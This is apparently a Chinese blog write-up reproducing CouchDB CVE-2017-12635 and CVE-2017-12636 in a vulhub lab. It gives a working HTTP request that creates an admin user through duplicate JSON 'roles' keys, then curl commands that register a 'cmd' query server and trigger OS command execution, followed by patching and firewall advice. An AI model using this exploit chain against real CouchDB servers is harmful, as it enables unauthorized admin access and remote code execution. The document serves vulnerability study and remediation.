Couchdb 任意命令执行漏洞（CVE-2017-12636）复现

Couchdb 任意命令执行漏洞（CVE-2017-12636）复现

1、漏洞描述

Apache CouchDB是一个开源数据库，专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式，JavaScript作为查询语言，MapReduce和HTTP作为API的NoSQL数据库。应用广泛，如BBC用在其动态内容展示平台，Credit Suisse用在其内部的商品部门的市场框架，Meebo，用在其社交平台（web和应用程序）。

在2017年11月15日，CVE-2017-12635和CVE-2017-12636披露，CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同，导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员，属于垂直权限绕过漏洞。

影响范围

小于 1.7.0 以及 小于 2.1.1

2、环境搭建

这里使用vulhub搭建的漏洞环境,vulhub靶机ip:192.168.199.52  攻击机ip:192.168.199.51

搭建过程：

cd vulhub-master/couchdb/CVE-2017-12636
docker-compose up -d

启动环境后，访问:http://ip:5984

3、漏洞复现

1.添加管理员账号

该漏洞的利用是需要登录用户账号才可以触发，如果不清楚目标管理员密码，可以利用漏洞CVE-2017-12635 先增加一个管理员用户。

增加管理员用户的数据包如下：

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: 192.168.199.52:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 112


{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "roles": [],
  "password": "vulhub"
}

依次执行以下请求可粗发任意命令执行：

curl -X PUT 'http://vulhub:vulhub@192.168.199.52:5984/_config/query_servers/cmd' -d '"id >/tmp/TestCouchdb"'

curl -X PUT 'http://vulhub:vulhub@192.168.199.52:5984/vultest'

curl -X PUT 'http://vulhub:vulhub@192.168.199.52:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'

curl -X POST 'http://vulhub:vulhub@192.168.199.52:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'

第一个请求是添加一个名字为cmd的query_servers，其值为" id >/tmp/TestCouchdb "，这就是我们要执行的命令。

第二、三个请求是添加一个数据库和文档，这里添加了一个可以查询的。

 

第四个请求在这个数据库里进行，因为我将其设置为cmd，这里就是我最初cmd的开始添加的命名的query_servers最后触发命令执行。

查看靶机的docker中是否创建了TestCouchdb

docker ps
docker exec -it 06fabb650cbf /bin/bash
cat /tmp/TestCouchdb

4、修复建议

1.公网Apache CouchDB实例

建议升级到最新版本。

使用ECS安全组或防火墙策略，限制CouchDB端口暴露在互联网，设置精细化网络访问控制。

开启认证功能，不要使用默认账号口令，配置自定义账号和强口令，防止暴力破解攻击事件。

2.内网Apache CouchDB实例

使用ECS安全组或防火墙策略，限制CouchDB端口暴露在互联网，设置精细化网络访问控制。

开启认证功能，不要使用默认账号口令，配置自定义账号和强口令，防止暴力破解攻击事件。

参考链接：

13 - vulhub - Couchdb 任意命令执行漏洞（CVE-2017-12636）_全栈哈士奇的博客-CSDN博客

声明：

本文仅限于大家技术交流和学习，严禁读者利用本博客的所有知识点进行非法操作。如果你利用文章中介绍的技术对他人造成损失，后果由您自行承担，感谢您的配合，

作者创作不容易，请大家点赞收藏支持一下。谢谢各位读者大老爷。